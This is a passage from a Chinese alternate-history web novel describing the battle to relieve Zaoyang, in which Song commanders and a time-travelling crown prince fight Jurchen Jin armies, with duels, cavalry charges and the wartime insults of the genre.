由于孟珙队伍人数太少,孟珙部队并未穿过女真骑兵部队,不多时便被女真骑兵包围淹没。
孟珙面对数倍于己的金兵,一杆**毫无惧色,当先在女真骑兵中开路,一路上的女真骑兵就像是不会动的木偶般,被孟珙那精湛的枪法刺于马下。
身后宋军骑兵紧紧相随,战意高昂,单论战损比,宋军一换五,远胜女真骑兵。直把二十倍于几方的女**,杀了个没脾气。
不过好景不长,待孟珙杀到女**队伍中部时,头前出现一片空地,对面一身着盔甲,手拿镔铁棍的秃头女真将领,拦住了去路”:你就是孟宗政最猛的儿子,孟珙?”
孟珙边用枪拨挡攻击,边轻蔑地冷哼一声“:你这秃子,莫不是完颜承和尚?既然知道我是你家孟小爷爷,不快些逃跑,还敢在此阻拦我?“
完颜陈和尚平白无故挨了骂,摸了摸秃头“:给你脸不要脸!智者头上不长毛!你没听过吗?”
孟珙此时已经将身边女**尽数放倒马下,腾出手来也不墨迹,直奔完颜陈和尚攻去。
数息之后冲到完颜陈和尚面前,当先出枪,由上而下劈出,直奔和尚秃头。
完颜陈和尚举起镔铁棍向上抵挡,却不料孟珙来了个假动作,在完颜陈和尚抬手抵挡的一瞬间,快速回枪,接着刺出,直取完颜陈和尚脖颈。
完颜陈和尚被孟珙这快如闪电的出枪速度惊出一脑门冷汗,赶忙侧身躲避,堪堪躲过枪尖,却在脖颈处被划出一道伤口,好在伤口不深,出血不多。
鬼门关上走了一圈的完颜陈和尚直接破口大骂“:孟珙,我敬你是个英雄,你给我玩阴的?”
孟珙面笑皮不笑“:可惜了!没取了你这金狗性命。反倒惹得你这金狗汪汪乱叫。”
“:没教养的小崽子,我今天不宰了你,以后跟你姓!”完颜陈和尚彻底被激怒了,不管三七二十一,抡起镔铁棍,直接砸向孟珙。
孟珙一个闪躲,避开镔铁棍,再次出枪,却又被完颜陈和尚用镔铁棍扫开,双方就这样你来我往打了十几个回合,一时难分胜负。
孟珙这边被完颜陈和尚缠住,一时没有取胜,另一边杨妙珍却是遇上了老熟人。
在双方骑兵对撞后,同样纠缠在了一起,打得难解难分。只见杨妙珍枪花乱点,直逼得对面一长得十分魁梧的**金将狼狈异常。
就见这**金将边狼狈躲闪,边骂骂咧咧道“;你红袄军,真个阴魂不散。本将奉命讨伐山东之时,便与你等苦战数年。想不到来了京湖,又遇到你这贼婆娘。”
杨妙珍鄙视的扫了眼这金将“:完颜合达,我们山东义军早就改名忠义军了,再者,这些年你的枪法,也没什么长进吗!没有本事胜本姑娘,嘴皮子倒是更欠抽了。今日本姑娘这杆**,便送你滚回你主子那里跪着哭鼻子。”
“;呸,贼婆娘。本将又不是吓大得。再说了,当初在山东,你还骑的上马,现在怎么混到骑驴的份上了?”
不提这事还好,一提这事,杨妙珍直接破口大骂“:该死的金狗,你胯下这匹马,本该是本姑娘的坐骑。得了便宜还卖乖?一会休怪本姑娘一个不小心,一枪挑了你,岂不毁了你这小吴起的名头?”
完颜合达似是故意激怒杨妙珍,装出一副恍然大悟的样子“:哦!本将想起来了,这马,是你大宋宰相的好弟弟,卖给我们的。除了坐骑,什么武器,盾牌,护甲,外加一日三餐,只要有钱,史嵩之来者不拒。杨妙珍,你说你大宋出了这么一号人物,你还死皮赖脸的给
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大宋效命作甚?本将要是你,早投了大金了。”
“:我呸!你这手下败将,打不过本姑娘,还有脸劝降!”
“:有本事,三招之内,你将本将挑于马下。”这完颜合达,估计也是心虚,竟说出了这样一番话语。
“;哈哈哈...完颜合达,我大宋可不光有软骨头史嵩之,你没见过的英雄好汉,多如牛毛。今日本姑娘就给你上一课,让你知道,笑我大宋无人,有多无知!”此话说完,只见这杨妙珍加紧攻势。枪花更胜方才。直把完颜合达逼得连连退却,险象环生。
城外厮杀正酣,枣阳城内,孟宗正一脸焦急的领着骑兵来到了大门前,只见他扯着嗓子对大门内,正努力顶着城门的兵士喊道“:打开城门,本将军要杀出城去。”
正在努力顶门得士兵,听到后边有人喊开门,纷纷回头看去。见是孟宗政,皆是面露欣喜之色。
可见这孟宗正,很是受士兵喜爱。其中有个身穿盔甲之人更是回话道“;将军,这门外可是已经被金狗层层围住了。若是打开门,金狗便会一拥而入。”
“;莫怕,你等尽可打开城门,待本将率骑兵将那些企图进城得金狗,踩个稀碎。到时你等只管结阵迎敌,不消片刻,城内便会有援军增援你们。”言罢,孟宗正哈哈大笑道。也不知这老将军,哪里来的底气,临上战场,还能笑得如此爽朗。
这把守城门的不敢耽搁,大声喊道“;开门。让老将军杀出去。”话音一落,周围士气陡然提升。却道这枣阳忠顺军,数日挨饿,仍存着这么多气力,可谓勇壮。
随着大门背后顶门木被一一拿开。大门眼看摇摇欲坠,外边金军顿时面露喜色。
更是下大力气扛着巨木,撞向城门。只听“轰隆”一声,大门洞开。没了阻隔物,两军相见,外边的金军先傻眼了。
只见门内黑压压一大片骑兵,厮鸣着冲了出来,眨眼的功夫,门口堵着的金军,便被疾驰的骑兵,冲的七零八落。
后边金军还没明白过来怎么回事的,赶忙躲闪。奇怪的一幕发生了,孟宗正这五百骑兵,愣是如入无人之境般,在西城门外金军丛丛步兵中,撕开了一个大口子。
这个大口子,随着骑兵继续前行,越来越长,仿佛一柄利剑,直指龙旗所在而去。
而那些侥幸在孟宗政骑兵冲突之下,捡回了性命的金兵,心有余沥得向枣阳城内看去。但城门之内,早已被忠顺军堵得满满。只见忠顺军在本部将领带领下,结成了盾牌阵。此时密密麻麻一片,直让打算涌入城内,大肆杀戮的金军直咽唾沫。
三千米,两千九百米,两千八百米。宋宇在心中默念着距离金军大营的距离。
“殿下,**已经快要冲到敌军大营了。“身旁突然传来江海大声呼喝。
宋宇向前方眺望,就见**距离敌军大营只剩数百米距离。
此时,田奇骑在头牛背上,看着近在咫尺的金军营寨,兴奋异常,甩起马鞭,紧抽胯下头牛屁股,那牛吃疼,嘶鸣一声,速度再次增加。
第八十三回 枣阳解围战 胜负生死中
再看金军大营,面对来势汹汹的宋军铁牛,金军也是如临大敌,就见金军营寨寨门处,拒马木桩摆了数层,后边紧跟着是**盾阵,再后边则是伸臂**手。
在一声放箭呼喝之后,金军神臂**手对着冲过来的牛射出**失。向天上看去,只见无数黑点,向**砸来。
田奇心中暗道不好,忙拽了拽头牛缰绳,放慢了头牛冲锋速度。周围**则迅速超过头牛,将头牛遮挡在了身后,田奇则就势趴在头牛背上。箭雨袭来,周围牛身上迅速插满了**箭,不过并没有牛被射倒,反倒是越加激怒了**,速度更胜之前。
田奇穿了盔甲,数支**箭射在背上叮当作响,却并未射穿铠甲。
待到箭雨过去,田奇一脸兴奋地抬起头“:就这两下子?接下来该我的**发威了!”
田奇言罢,心中暗道:以现在**冲锋得速度,金人想要在射一次,怕是来不及了。正好趁此空隙,冲上去,将金军的拒马连着**兵踩个稀烂。
记得驭牛图上,明言这铁牛阵不怕拒马和**结阵。也不知是否属实?今日正好拿金兵试试!
想到这里,田奇再次鞭打座下头牛。向着前面不足百余米的金军大营口冲去。
就在这个档口,完颜守绪和张行信带领部队返回了营寨。
“;三阿哥,您回大帐吧!这里交给奴才就好。”张行信对着完颜守绪说道。
“;张先生,现在战事正是紧要关头,我若不身临前线指挥,岂不是不如他大宋打着龙旗那皇室?”
想不到宋宇的龙旗,竟让完颜守绪起了争强之心。
其实他这么想也很正常,自打女**打的宋人靖康之耻以后,打心眼里便种下了宋人不如女**的想法。
完颜守绪在历史上虽然重用过一些能臣良将,但胆子却不如祖宗完颜阿骨打。
不如完颜阿骨打,同为末代皇帝,完颜守绪可比北宋皇帝宋徽宗那货强的不是一星半点的。最后时刻,完颜守绪以死殉国了。
“;三阿哥,大事不好,西城门内,杀出一票骑兵,约摸数百骑,正飞速奔我大营而来,还请三阿哥速速定夺。”传令兵快速的禀报道。
完颜守绪一听大惊“;西城门乃是我军攻城部队主攻之处,竟会被敌军数百骑兵反冲出来?莫不是我大金勇士,全是纸糊的?”
张行信可不像完颜守绪,自乱阵脚,只见他对着完颜守绪劝道“:三阿哥,忠顺军骑兵之锐,向来不在乣军之下。还请三阿哥,速速派三千乣军骑兵抵挡,剩余两千重骑,应派往**阵之后,等**中计,再冲出去杀敌。”
要说营寨内这五千女真重骑,可是乣军中的精锐,漫长的蒙金战争,蒙宋战争,将他们磨练成了现今这世界上,数一数二的精锐。这样的精锐,却要三千人打数百人,可见孟宗政被女**喊孟爷爷,还真不是白喊的。
完颜守绪向来对张行信颇为信赖。说来有些可笑,这完颜守绪,随他金人祖宗得脾气,向来很看不起汉人,但凡事都有例外,这辈子,完颜守绪最看得起的,恰恰也正是两位汉人书生。这张行信只是其一。剩下一人,却并未在此。“:板子讹可将军,卓你速速率领三千骑兵,阻挡枣阳西门冲出来的忠顺军骑兵。草火讹可,命你带两千重骑兵,布阵营寨神臂**之后,只等号角响起,冲出去结阵。”
完颜守绪所唤之人,绰号板子讹可,全名也叫完颜讹可,可以说,完颜守绪身边,俩完颜讹可。
板子讹可,喜欢打板子,不管是犯人,俘虏,甚至是老婆,全都拿板子打。有点心理畸形的感觉。花名,板子讹可。
另一个草火讹可,喜欢给俘虏绑上柴草烧死。花名,草火讹可。
只见这板子讹可,听了三阿哥完颜守绪吩咐,大声领了诺,奔着剩余的五千骑兵而去。
张行信见完颜守绪不加思量,便采取了自己计谋,心中不喜反忧,涌起一股莫名的失落感:唉...想不到张某自幼熟读圣贤书,如今却要帮着外族,**自己的族人。
也不知张某死后,九泉之下的祖宗,会如何看自己。又不知那些古代圣贤,会如何看待自己。
想到这里,张行信竟不自觉的,流下了两行浊泪。发觉自己失态,张行信赶忙用衣角,擦干了泪痕。看来古之圣贤留下的思想,成为了张行信为女**效力,最痛苦的负担。
但这一不起眼的动作,却全被完颜守绪看在了眼里“;张先生,何故伤感?”
张行信被问,禁不住一哆嗦“:奴才看到今日,**这么多军士,顿感生命消逝之无奈,将心比心,不自觉,伤感起来。”
完颜守绪并未责怪张行信失态,对着张行信开解道“:张先生心思透亮,多愁善感,本阿哥将你带来这战场之上,实是难为你了。”
就在张行信与完颜守绪闲聊之时,孟珙在左翼与金人激战,相较于金人的装备,孟珙身后这支百多人的部队,用叫花子军来形容,都是言过其实了。
在出发前,宋宇曾对着这帮穿着还不如叫花子的部队,说出了一句意味深长的话“:你们若是战**,只管怨恨本太子便是。是我将你们,强行赶到了战场之上。”
现在百多个花子军与女真骑兵一经接战,却是出乎所有人预料,只见这花子军并未一触即溃,反倒是与女真轻骑兵,焦灼在了一起。
也不知是江海三人以往练兵得力?还是花子军发挥超常。着实是雷到了正被孟珙打得哭爹喊娘的完颜陈和尚“:孟珙,也不知你是从哪里寻得这要饭军,竟如此勇猛?”
不提这个还好,一提这个,直接把孟珙气的火冒三丈“;贼秃,还有脸提这事?穿我大宋铠甲,反倒笑话起我等没甲?小爷今日便将你这厚脸皮剥下,做成皮甲,看你这金狗,还敢取笑我们。”
也不待完颜陈和尚在说话,孟珙一催胯下白马,银枪直取完颜陈和尚心口。
完颜陈和尚今日也算是倒霉到家,面对孟珙那疾风迅雷般的攻势,一向在金军中号称第一勇士的他,被打的只剩招架之力。
话说完颜陈和尚当时接到命令,本来
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一脸兴奋的他,撒丫子便赶到了这队骑兵跟前,一看这队骑兵穿着如同乞丐,心里更是欢喜得很。
暗道:自己这辈子就没打过这么穷的敌军。刚开始自己还信心满满得以为,会是一场捡人头得买卖。
哪知一交手,自己直接傻眼了。单单一个孟珙,就打的自己这女真第一勇士狼狈不堪。
就连刚才那队蔫啦吧唧得叫花子兵,也不知是吃了什么药。全都不要命似的悍勇,将自己手下骑兵,打了个没脾气。
只见这完颜陈和尚,抬起手中镔铁棍,费力的扫开了孟珙银枪。喘着粗气骂道“;呼,孟珙,和尚爷爷承认,之前小看你们了,和尚爷爷认栽!”言罢,完颜陈和尚举起镔铁棍斧,直接砸向孟珙。
孟珙大喝一声“;看小爷岳家枪,拨云见日。“边喊着,边双手**,拨开完颜陈和尚镔铁棍,随即一枪直袭完颜陈和尚要害。
完颜陈和尚看孟珙轻松化解自己攻击,又向自己出杀招,大惊失色。慌忙抽回镔铁棍抵挡。
却听孟珙喊招式一个接一个喊出“:看我岳家枪,昭昭天命,精忠报国,枪挑胡掳,还我河山......”
听了这些招式,完颜陈和尚,被吓出了一身冷汗:乖乖,当年岳爷爷的岳家枪!!!
那边孟珙百余花子骑兵,硬抗女真两千骑兵。
这边,田奇领着**,已经冲到了金军大营几十米远的地方。却在这时,意外发生了,田奇身前数头牛突然脚下一空,随即掉到了女**事前挖的陷坑之中。
田奇大惊失色,暗道此时若把牛停下已经来不及了,只见他迅速站在了牛背之上。双腿一用力,猛的一蹬。向后一个鹞子翻身,跃出去了四米左右。待双脚落地,田奇抬头看去。只见身前一道陷坑出现。
**由于冲得太猛。纷纷中招仿佛鸭子入河一般跌入坑内。只是姿势不太优雅罢了。
田奇见此情景,心中骇然。赶忙转过头去。凝视着金军大营正门处,就见金军正在往陷坑上铺盖木板,看来金军解了铁牛阵,要发起进攻了。
见此,田奇懊悔不已:该死,当初还信誓旦旦对着殿下保证,铁牛阵必定能大发神威。现在......
这让我怎么有脸回去向殿下交代?不行,女**要开始返攻了,我必须回到殿下身边,保护殿下。!
想到此,田奇撒丫子开始向着宋宇驴骑方向跑去。
却听身后金军大营号角声响起,田奇边跑,边回头看去,就见金军大营步兵络绎不绝涌出来列队,更有重骑兵不时涌出。
田奇**覆灭,将目光看向金军大营主帅完颜守绪处,完颜守绪见顷刻间宋军先锋**覆灭,得意的说道“;张先生,幸亏当初听了你的建议,在营寨周围设了陷坑防止敌军骑兵冲击。”
张行信也是一脸庆幸的开口道“:本来这陷坑是为了防止孟宗政狗急跳墙,半夜袭营,却歪打正着,破了敌军这群牛。看来运气在我们这边。敌军没了**,战力大减,三阿哥,此时当出击,一举歼灭剩余敌军。”
第八十四回 枣阳解围战 胜负生死中 (贰)
完颜守绪连连点头“:先生之言大善,传令剩余两千重骑兵,去吃掉龙旗所在骑兵。一万步兵,随后压上去!不要放跑了一人!”
金军一时得势,破了宋宇铁牛阵,回过头来看向宋宇这边,眼见远处铁牛阵**都不剩,宋宇下令停下了队伍。此时距离敌军营寨只剩不到两千米。
身旁江海开口道“;殿下,铁牛阵被破,接下来要靠咱们自己了!”
宋宇牙关紧咬,被气的不轻,盯着正在营寨外集结的女真部队,宋宇开口道“:想不到花了那么大力气组建的铁牛阵,竟然被女**如此轻易破解。江海,女**正在营外集结部队,我们现在趁着女**阵脚不稳,冲上去打他们一个措手不及可好?”
江海听了宋宇所言,连连摇头“:殿下,就咱们手里这点骑兵,继续冲击无异于以卵击石。收效甚微不说,万一被敌军步兵包围,在想脱身就难了。更不要说女真部队正有一队重骑兵马上就要结好阵。以老将多年来与女**交手的经验来看,女**重骑兵向来打先锋。意图明显,就是要用重骑兵冲乱敌军阵型,步军好随后掩杀。老将以为,我军现在只剩一场硬仗要打。应该等待身后步军追上来,结好阵型,再与女**一教高下。”
宋宇低头思虑片刻,随即点头认同了江海的主意。没有冲动的带领驴骑去送死。
直到身后彭义斌王坚两人率领步军追了上来,宋宇才开口询问江海“:接下来怎么打?”
江海眯眼盯着对方军阵看了一会,这才开口咬牙说道“:殿下,看对方这阵势,想必是女真最为精锐的糺军。此军向来披坚执锐,想必我等接下来只剩以命相搏这一条路了!”
“:怎么讲?”
“:殿下,我们这队骑兵,必须抵挡住敌军这队重骑兵,万万不可让对方越过去,对我军步兵造成冲击。”
宋宇听了江海之言,定睛看了看对面女真骑兵,粗略算一下,少说两千。宋宇生来第一次要直面女真骑兵冲击,身体竟止不住的颤抖起来。良久,止住颤抖,对着江海开口道“:什么时候冲锋?”
“:殿下,不急,女真神臂**可射五百步,冲的太早,会吃**箭。我们等女真骑兵冲到距离我军一千步时,再下令驴骑冲锋!”
这边宋宇等待冲锋。金军大营外,草火讹可已经整顿好了重骑兵队伍。身后金军营寨整兵备战的号角声戛然而止,随之而起的,是紧密的鼓点声。
草火讹可手中金斧高高举起,大喊道“:女真勇士们,给我冲!”
喊罢,当先一催胯下战马,冲了出去。身后骑兵闻声而动,紧随其后,杀向宋军。
看着面前冲上来的重骑兵,宋宇再次心中默念距离“:1500,1400,1300...1000,”
数到一千时,宋宇仁剑向天一指“:儿郎们,随本殿下杀贼!”
身旁江海也用力摇动大旗给士兵们作最后鼓舞“:儿郎们!大宋太子带咱们冲锋!在不拿出点真本事,对得起太子殿下吗?”
”:杀!杀!杀!“
全军士气再次被点燃。
驴骑应声而动。奔着女真重骑兵冲去。不多时两军相撞,就在接触的一瞬间,宋宇面前三柄战斧劈来。
就在宋宇想要闪身躲避之时,一直跟随的程保赵国从左右两侧抽刀帮宋宇抵挡住了三柄战斧。
“:殿下,我二人帮你招架敌军兵器,殿下你只管拔剑杀贼!”
宋宇在他俩说话的档口,早已宝剑前刺,正前方女真骑兵喉咙被刺穿。来不及惨叫跌下马去。
程保赵国也用腰刀反弹回去对方战斧,随即腰刀寒光一闪,取了剩下两个女真骑兵性命。
冲在最前排的宋军更是人人勇悍!别看对面女真重骑人着甲,马覆铠。手中清一色长柄战斧。
宋军在他们面前,手中那杆**以及身上的装备,胯下的毛驴都显得无比单薄。
但高昂的士气,愣是让宋军驴骑,将看似群狼的女真骑兵,打成了一群小绵羊。猎物和猎手的角色,士气高昂者胜!
不多会的功夫,驴骑愣是用极小的代价,将两千女真重骑兵,收割了三分之一。
宋宇在程保赵国的护卫下,战绩卓著,手刃七个女真重骑。就在宋宇越打越顺手时,面前一员虎背熊腰手提湛金斧的女真将领冲到了宋宇面前。
“:好个白面小秀才!身手不错!杀的我女真勇士连连退避。**火讹可倒要来会会你!”
言罢,女真将领直接抡起湛金斧,砸向宋宇头顶!
程保赵国两人此时正在各自厮杀。宋宇没了这俩人抵挡,只能在驴背上侧身试图躲过去。
可宋宇实在高看了自己身手的敏捷程度。虽然脑袋躲过湛金斧,但湛金斧却直奔宋宇右肩膀劈下。
宋宇大惊,暗道这要是结结实实挨上一下,右胳膊算是废了。
就在这千钧一发之时,身后一员驴骑猛地向前一冲,随即用手中**从下往上挑起湛金斧。
这一个动作,虽没有阻止湛金斧落下,却抵挡住了湛金斧大多冲力。宋宇只觉肩膀触电一般,被湛金斧敲在了右肩膀盔甲上。巨大的冲力,震得宋宇浑身一颤。好悬没从驴背上摔下去。
侥幸大难不死,宋宇满眼猩红看向那女真将领。右手攥紧了仁剑,直接向前冲,直取对方护甲薄弱的面门“:草火讹可?滚回你塞外老家烧火去吧!”
方才救了宋宇的驴骑,也趁机抱住了女真将领湛金斧,让他难以抽回兵器。
女真将领被抱住兵器,难以摆脱,情急之下放弃了兵器,妄图侧脑袋躲过宋宇袭来得宝剑。
宋宇哪肯给他这个机会,直接变刺为削,划向对方脖颈。
女真将领在想躲,为时已晚,眼睁睁看着宝剑寒光,在自己脖颈一闪而过。随即鲜血奔涌,女真将领两眼一黑,摔下马去。
杀了这员女真将领草火讹可,宋宇顿觉疲累不堪,大口地喘着粗气。
这边宋宇险胜女真将领,另一边,孟宗政冲出城池后,本想绕过金军大营,直奔龙旗所在而去。
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却阴差阳错引动女真三千重骑兵针对。孟宗政一生征战,以少战多的仗打的不在少数,看着数倍己方的敌军,孟宗政**一指,带领着忠顺军骑兵与女真重骑兵战在了一起。
战事打到这一刻,枣阳城外可谓四处开花。最开始孟珙一百余骑兵对战完颜陈和尚两千余轻骑兵“;完颜陈和尚已经满头大汗,不住的大喊”:快来人,帮本将抵挡一会,孟宗政家的小崽子太猛了。让本将喘口气。”
杨妙珍一千驴骑对战完颜合达两千余轻骑兵。完颜合达已经落败,扔下了部队,对着杨妙珍虚晃一枪,随即掉转马头奔着大营方向逃去“:留得青山在,不怕没柴烧!杨妙珍,再见之时,便是你的死期。”
杨妙珍见对方逃跑,并没有选择追击,只见她轻蔑地撇嘴一笑“:没种的女真蛮子!再见时,定取你狗命!”随即指挥军队,收割剩余女真士兵的性命。
谁料这队女真兵战损已经过半,现在主将逃跑,根本无心恋战,纷纷掉转马头跟着主将往大营逃。
杨妙珍就这样赢得了胜利。面对溃兵,杨妙珍不想去追,左右张望,发现孟珙与太子两队人马都在与敌军厮杀,犹豫起来到底先救谁好:太子那边按说有一千驴骑兵,又有程保赵国保护,应该没有大碍。反观孟珙那边,外围全是女真骑兵,孟珙深陷敌阵,手下兵马又少,拖延下去,情况更加危机。
权衡利弊后,杨妙珍率领剩余驴骑兵,果断冲着孟珙那边杀去。
往远处,战鼓所在处,苏小小,谢道清,王焕君三个姑娘已经轮番擂鼓一上午,看着远处一队女真骑兵**退,三人几乎要开心的跳起来了。
谢道清满脸得意之色“:看到没?谁说女子不如男!杨妙珍第一个杀的敌军仓皇而逃。”
宋宇一千驴骑对战草火讹可两千重骑兵。草火讹可已经被宋宇斩杀。一场激战下来,敌军重骑兵减员三分之一。
就在这个当口,彭义斌和王坚率领的步军分左右两路绕过激战的两军骑兵,冲向了对面女真步军。
就见彭义斌左手持盾,右手弯刀,直接用盾牌撞向了对面女真兵。力气之大,撞得对面十余人仰面朝天。
彭义斌还觉得不过瘾,直接运气,扔了盾牌弯刀,撕下了长袍,露出上半身那健美的肌肉,再加上彭义斌身形高大,直比附近人高出了一个头还多,显得气势磅礴“:奶奶个熊!这破盾牌破刀实在影响俺发挥。在山东俺**从来都是用拳头打死!”
言罢,彭义斌直接赤裸上身,硬抗对方**刺杀,随即一手一个抓小鸡一样揪住对方脖颈,随即头对头,让这俩女真兵来了个对对碰。就听‘彭’的一声,直接给俩女真兵开了瓢。
彭义斌一击得手,还不作罢,直接抡起两具死尸,砸向周围女真兵。等尸体胳膊抡脱臼了,干脆在人群中玩起了拳击。那沙包大的拳头,打到女真兵身上,就像铁锤一样,直接将盔甲砸个坑。打到女真兵脑袋上,直接砸整容!可谓霸道之极。
第八十五回 枣阳解围战 胜负生死中 (叁)
不多时彭义斌周围的女真兵,便被彭义斌这人形坦克杀的连连后退,眼神中满是惊骇之色。
彭义斌周围那些穿着囚服的囚犯兵见主将如此勇猛,士气更加高昂,手中大刀抡的虎虎生风,这交手不大一会,女真步兵便死伤惨重。两千对一万,曾经骄纵不可一世得女真兵,愣是让两千没穿甲的宋军囚犯兵杀的连连后退,几近崩溃之相。
相比于彭义斌,王坚打的中规中矩,颇有稳重将军风范。只见王坚手持弯刀,一边打杀,一边高喊下令“:注意补位!前边的倒下,后边的别退缩!有敢退缩者,格杀勿论!”
两个将军,两种带兵方式。一个更猛,一个更稳。彭义斌及其所率囚犯兵,更象一把宝剑,出鞘必饮血。
王坚则稳如一面盾牌,虽无出彩之处,却让敌军难以突破。这二人现在的打法,倒是极其吻合历史上二人的性格。
这边两军步兵开始交战,另一边,金军大营内,完颜守绪站在高处,眼睁睁看着完颜合达**败,正在犹豫要不要继续增派步军。
按照完颜守绪的想法,孟宗正才是那块又臭又硬,茅坑里的石头。但巧就巧在,那史府小厮,来到完颜守绪跟前后,说出了一番让完颜守绪震惊的话语。就在方才宋宇驴骑与女真骑兵撞在一起时,那史府小厮被人带到了完颜守绪跟前。
在完颜守绪的利诱下,这史府小厮,欢喜的将自己国家的太子,宋宇,给卖了。钱不多,五百两而已。如果宋宇知道,自己自己的脑袋,以及此次战争的胜负,就值五百两,估计能气得晕死过去。
在完颜守绪得知那向自己冲过来的,竟然是大宋朝的太子,着实是被雷到了。
要知道,别说他完颜守绪,就是他祖宗完颜阿骨打,都没见过这稀罕事,完颜守绪甚至遥想,如果当年徽宗能坚守汴京,等待四方宋军勤王,现今这天下,会是怎样一番光景?
但想归想,完颜守绪可不傻,如果能生擒了这大宋太子,自己还用得着在打这么一场费事不讨好得苦战?
直接拿这太子,要挟宋廷,迫使他们停战继续贡纳岁币便是了。如此想着,完颜守绪也没询问张行信得意见,迅速调动所有备战得步军,围向了这大宋太子,妄想将宋宇擒了,逼迫赵宋皇室就范。
这边完颜守绪再次增兵,那边孟珙此时已经凭借举世无双的精湛枪法,刺伤了完颜陈和尚手臂,完颜陈和尚丢下兵器,带着身边数个轻骑兵落荒而逃。
杨妙珍却在外围对完颜陈和尚这队轻骑兵实行了一次冲锋。此次冲锋,使得**真轻骑兵被杨妙珍打的阵脚大乱。见到主帅逃亡,纷纷跟随其后,逃向大营方向。
杨妙珍和孟珙会和,互相递了个眼神,随即再次整顿兵马,奔着宋宇所在冲去。
相较于身后杨妙珍孟珙获胜,宋宇这边也不遑多让。在宋宇挑了草火讹可之后,女真重骑兵,没了主心骨,宛若一盘散沙。
可偏偏就是这一盘散沙,此时却被宋宇驴骑和身后正在交战的两军步兵夹在中间,进退两难。只能任由宋宇部队继续**下去。
最后只剩三分之一时,这支重骑兵再也难以招架宋宇部队攻势,由于后路被两军步兵堵塞,是纷纷下马逃窜。
宋宇在孟珙两人到来之前,便结束了这场骑兵对决。
正所谓兵败如山倒,重骑兵和其他几路兵马的溃逃行为,引起了连锁反应,正在与彭义斌王坚两队步兵厮杀的女真步兵,纷纷跟随逃跑队伍,向着女真大营方向跑去。
宋宇胯下毛驴已经力竭,此时敌军溃逃,宋宇并未下令追击,在与随后赶来的孟珙杨妙珍会合后,宋宇粗略清点了下人数,发现两千驴骑只剩不到一千,半日的厮杀,使得所有驴子无不喘着粗气,几近力竭。孟珙的马骑兵战损最严重,只剩十余骑,除了孟珙之外,还都人人带伤,疲惫不堪。
相比于骑兵损失惨重,步军战损较小,方才一场战斗下来,只伤亡了不到一成。
就在宋宇刚刚清点完人数,女真大营号角声再次响起。无数步军**军向着大营外涌出。
见此情景,宋宇急忙命令士兵再次原地结阵。随即目不转睛地盯着对方,直到对面女真兵阵型快结好了,身旁江海说道“:殿下,看这阵势,对面少说三万步**兵。女**看来是倾巢出动了。”
宋宇听了三万这个数字,又转身看了看自己身后剩余不足五千的人马,顿觉压力山大“:该死的,女**真要死磕到底?”
“:殿下,正所谓成也龙旗,败也龙旗,女**八成是看上了殿下的身份。”
宋宇脸上,莫名其妙的露出了怪异的笑容:麻蛋,想不到自己在这南宋,总要以寡敌众。看来这想要改命,必须得先拼命才行啊。“
却在这时,田奇灰头土脸的来到了宋宇身前,见到宋宇的第一时间,直接‘噗通’一声,跪在了地上“:殿下,我有负殿下所托,铁牛阵没有发挥作用,反倒全军覆没。还请殿下降罪!”
宋宇并没有责怪田奇的意思,叹了口气随之伸手将田奇扶了起来“:别说你没想到铁牛阵会这样,就连我也没想到。正所谓世间万物生克有序,铁牛阵虽然强的可怕,却越不过去那小小的陷坑。今天我也是长见识了。再者,铁牛阵虽然是你出主意,可最终还是我做决定,就算有错,也是我的错,和你没关系。”
“:殿下宽仁之主,草民感激不尽。”
从整个战场形势来看,宋宇的情况,可以说是危急万分。虽然暂时击退了敌军第一波进攻,但接下来的女真兵可是配备了远程兵器神臂**。
宋宇这边缺的就是远程攻击方式。倘若对面在一定距离直接**箭攻击,将会对自己这支衣甲单薄的部队,造成巨大的伤亡。
宋宇刚退一敌,又迎来更多敌人,形势实在不容乐观。
暂且将目光看向孟宗政处,话说孟宗正方才率领忠顺军骑兵,从攻城金军中,一路杀将过来,可谓势如破竹。但刚刚冲出来不久,迎面便与板子讹可,率领的三千乣军重骑战到了一处。
只见孟宗正举着手中铁枪,将板子
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讹可逼得连连退却。而忠顺军骑兵对战多于自己的乣军骑兵,也是平分秋色,谁也没有落得下风。
可孟宗政要去与宋宇部队会和,着实有一段距离,宋宇等人由西边杀来,虽然到了金军大营不远处,但孟宗正是从西门杀出,要绕过女真大营才能抵达宋宇所在。
更何况,乣军骑兵苦苦纠缠,要想援救宋宇,就必须先解决了板子讹可这三千乣军骑兵。
此时板子讹可对上孟宗正,心里直打鼓。不为别的,这完颜守绪为何之前一直犹豫,不用大军们猛攻枣阳?原因就是孟宗正这个人。深深得刺激到了完颜守绪。使得完颜守绪只围不攻,直到枣阳断粮,饿了他孟宗政一段时间,才敢试探性进攻。
话说,这些年与孟宗正交战的金军,背地里简直将孟宗正看成了神。唤为孟爷爷。与岳飞当年的名头,可谓**不离十了。
虽然心里惧怕,但板子讹可还是硬着头皮耍嘴道“:孟老匹夫,不识时务。你说说,大宋皇帝对你可好?可算看重?我家三阿哥对你又如何?你为何偏偏要死气白咧得,保着他姓赵的皇位?岂不知良禽择木而栖,明臣择主而事?”
孟宗正一听这板子讹可要劝降自己,哈哈大笑“:你这金狗,忒的嘴贱。我乃大宋子民,又是大宋的将军。岂会出卖自己的兄弟,自己的国家,去伺候你那从山沟沟里蹦出来的主子?”
边说着,孟宗正挺枪急刺。板子讹可挥舞铁斧急忙抵挡,但仍是慢了一着。被孟宗正一**中了胳膊,手中唯一的兵器铁斧,也掉在了地上。
眼见如此,板子讹可一改平日拿板子**时的骄横劲,恐惧的看着面前的孟宗正,是真没心思在打下去了。
捂着流血的胳膊,调转马头,飞也似得奔着阵后跑去。周围乣军精锐一看主将逃跑,哪里还有心恋战?一时乱作一团。纷纷四散奔逃。这下可好,号称天下数一数二的乣军,在忠顺军得猛攻下,未曾抵挡多久,便败下了阵。
可见这主将,对一支部队的影响力有多大。有句话说得好,千军易得,一将难求。用在这里,真是恰如其分。
孟宗正见这板子讹可逃跑,乣军溃散。也不追赶。对着身后忠顺军骑兵吆喝一声。便继续奔着龙旗处赶去。
此时孟宗正心里唯一的想法,便是赶紧将那打着龙旗得皇室救出来。带到城内保护起来。
要知道,这老赵家可真没几个苗苗了。人丁单薄,是死一个少一个。要是因为救自己的枣阳城,不小心送走一个。那他孟宗正,想不上历史传记都难了。
孟宗正那里越想越怕,急催胯下战马,前来解救宋宇。
这边宋宇是真的被打惨了。就在孟宗正和板子讹可对阵的档口,宋宇有条不紊的命令士兵捡起地上的盔甲盾牌以抵挡接下来敌军的**箭。
